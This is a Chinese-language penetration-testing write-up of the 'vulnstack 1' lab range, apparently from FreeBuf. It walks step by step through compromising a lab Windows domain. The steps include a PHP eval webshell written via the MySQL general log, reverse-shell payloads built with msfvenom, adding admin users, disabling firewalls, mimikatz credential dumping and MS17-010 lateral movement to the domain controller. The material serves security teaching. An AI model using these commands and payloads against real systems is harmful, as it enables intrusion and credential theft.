本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。
vulnstack内网渗透环境靶场-1
靶场下载地址:
网络拓扑图:
基本信息
win7为VM1,win2003为VM2,win2008为VM3
原始密码为hongrisec@2019
可自行修改
0x01环境配置
攻击机:
kali ip:192.168.162.81
winXp ip: 192.168.162.137
靶机:
win7 外网ip:192.168.162.7 内网ip:192.168.225.7
win2003 ip: 192.168.225.3
win2008 ip: 192.168.225.8
配置完后,有个小tips
win 7是无法直接ping的,因为有防火墙,只能访问即可,如果有需要可以关闭防火墙
在win7主机中使用phpstudy开启环境
开始渗透
0x02 信息收集
nmap扫描存活主机
nmap -sP 192.168.162.1/24
端口扫描
nmap -sT 192.168.162.7
nmap -sS 192.168.162.7
扫描发现开放了80、3306端口
有80端口,浏览器访问
有phpStudy探针,网站根路径是C:/phpStudy111/WWW
3306端口,测试下弱口令root/root
接下来扫描目录
方式一
方式二
使用dirsearch,github地址
0x03 拿webshell
访问phpmyadmin,使用root/root可以正常登录
查看是否有写入权限
show VARIABLES like '%secure%';
mysql中的 secure_file_priv参数,它的默认值是NULL,表示限制不能导入导出
方式一
尝试日志写 shell
查看当前的日志目录:show variables like 'general%';
没有开启
开启日志记录:set global general_log = "ON";
根据探针的服务器绝对路径C:/phpStudy111/WWW
指定日志文件:set global general_log_file = "C:/phpStudy111/WWW/shell.php";
将一句话木马写入指定的日志文件中
SELECT '<?php eval($_POST["shell"]);?>'
用管理工具连接http://192.168.162.7/shell.php
方式二
查阅目录,发现还有yxcms
试着访问一下
查看页面,提示有后台
访问后台
CMS相关系列,拿到后台,找模板编辑写入一句话
拿到shell
0x04 权限维持/提升
现在已经拿到webshell了,接着就是持久化控制这个shell
尝试远程登录
查看当前用户权限
查看一下3389端口开放情况 netstat -an | find "3389"
我们使用以下命令(注册表命令)开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查看防火墙状况netsh firewall show state
关闭防火墙命令:netsh advfirewall set allprofiles state off #off换成on则开启
查看是什么操作系统 & 系统版本:
系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询进程及服务:
tasklist,默认显示映像名称,PID,会话名,会话,内存使用
添加用户,加管理员组权限
net user mdp1234 root@2021 /add #添加账户密码
net localgroup administrators mdp1234 /add #给mdp1234账户添加为管理员权限
net user mdp1234 #查询是否成功添加mdp1234用户
远程连接3389,失败
nmap扫描3389端口发现状态为filtered
nmap -sS -p 3389 192.168.162.7
查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,设置了白名单。
要连接3389有如下思路:
1.尝试命令关闭防火墙,然后连接(动作太大)
2.使用命令行直接添加一个防火墙规则
3.反弹一个msf的shell回来,尝试开启远程桌面
4.尝试使用隧道连接3389(使用sunny-ngrok)
示例2:使用命令行直接添加一个防火墙规则
使用命令行直接添加规则允许3389端口流量一个防火墙规则
netsh advfirewall firewall add rule name="Lcx"
dir=in action=allow program="C:\phpStudy111\WWW\Lcx.exe" enable=yes
使用lcx.exe 来绕过防火墙
攻击机上执行Lcx.exe -listen 8444 3333
工具上传lcx
Lcx.exe -slave <攻击机ip> 8444 127.0.0.1 3389
在本机上远程桌面连接127.0.0.1的3333端口
示例3:反弹一个msf的shell回来,尝试开启远程桌面
使用msfvenom生成payload文件,上传到win7
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.162.81 LPORT=5555 -f exe > shell.exe
msf开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.162.81
set LPORT 5555
options查看具体payload信息
exploit
Winxp管理工具上执行shell.exe
background #返回,把meterpreter后台挂起
sessions -i #查看已经获取的会话
sessions -i 1 #连接到指定序号的meterpreter会话已继续利用
拿到了meterpreter的shell,提权到system
开启远程桌面
run post/windows/manage/enable_rdp
成功开启了远程桌面,并且生成了一个txt文件,用来关闭远程桌面
/root/.msf4/loot/20211005144310_default_192.168.162.7_host.windows.cle_639890.txt
关闭远程桌面:run multi_console_command -r 文件地址
连接远程桌面
对于非服务器版本的windows 远程登录的话,断开该主机当前的连接,可能会惊动管理员。
0x05 mimikatz破解密码
方式一、
上传一个mimikatz,然后执行
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
右键编辑
方法二:kiwi模块、mimikatz模块
ps #查看进程ID
ps | find "explorer"
migrate 512 # 模块默认是加载32位的系统,先将meterpreter迁移到64位的进程,而且需要是system权限运行的
load kiwi
creds_all # 列举系统中的明文密码
mimikatz模块
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
疑问?
不知道是不是mimikatz版本的原因,命令执行完后获取不到明文密码
0x06 内网信息收集
判断是否存在域
使用 ipconfig /all 查看 DNS 服务器
发现 DNS 服务器名为 god.org
有内网ip
查看域信息:net view
查看主域信息:net view /domain
查询当前的登录域与用户信息:net config workstation
判断主域 net time /domain
查找域控
利用 nslookup 命令直接解析域名服务器:nslookup god.org
查看当前域的所有用户:net user /domain
查看路由信息 route print
查看域管理员的名字net group "domain admins" /domain
收集到的信息:
域名为god.org
域控为OWA$
域管理员为Administrator
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH、STU1(win7)、OWA
密码为hongrisec@2021
内网网段为192.168.225.1/24
拿到域控IP192.168.225.8
0x07 横向探测
探测内网其他主机:
方式一
使用cmd,用个for循环
方式二
use auxiliary/scanner/netbios/nbname #使用模块扫描存活主机
没执行成功,需要先添加msf内网路由
至此
内网IP
域控192.168.225.8
web网关服务器192.168.225.7
还有一个域成员192.168.225.3
0x08 横向渗透
msf添加对内网的路由
扫描对应主机的端口
use auxiliary/scanner/portscan/tcp #使用msf的扫描端口模块
也可以直接扫描内网ms17_010
background
use auxiliary/scanner/smb/smb_ms17_010
有445端口,整一波ms17-010
漏洞利用
搜索search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
失败给整蓝屏了
加入代理
攻击机是162段的,内网是225段的,攻击机是无法直接访问225段,只能通过在刚拿下的win7上做个代理,通过225.7就可以访问其他225段的服务器
而刚刚做的路由,只是让msf能访问到225段,这个是让整个攻击机访问
设置代理,设置成功后打开其他程序需在前面加上proxychains
use auxiliary/server/socks4a
run
命令jobs查看是否有任务在执行
打开/etc/proxychains.conf,设置socks4
测试
proxychains nmap -p 3389 -Pn -sT 192.168.225.3 #扫描3389端口
proxychains nmap -p 445 -Pn -sT 192.168.225.3 #扫描445端口
开启3389
使用auxiliary/admin/smb/ms17_010_command来执行一些命令
use auxiliary/admin/smb/ms17_010_command
show options
set RHOSTS 192.168.225.3
set command net user mdp1234 root@2021 /add #添加用户
run #成功执行
set command net localgroup administrators mdp1234 /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run #成功执行
连接成功
使用exploit/windows/smb/ms17_010_psexec 尝试打一个正向shell回来
2003的机器,直接getsystem
exit# 终止 meterpreter 会话
域控也开放了445端口,接下相同方式来拿域控192.168.225.8,但有防火墙正向连接不了
域控有防火墙,所以使用ms17_010的远程命令执行关闭防火墙
使用auxiliary/admin/smb/ms17_010_command来执行命令
set command netsh advfirewall set allprofiles state off
接着使用exploit/windows/smb/ms17_010_psexec 尝试打一个正向shell回来
拿下域控
疑问?如果不关闭域控防火墙,还有什么样的方式可以拿下域控
以上涉及的内网知识可能比较基础,师傅们见谅。
文中有两个疑问,希望有师傅能解答一下!
未完待续。。。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)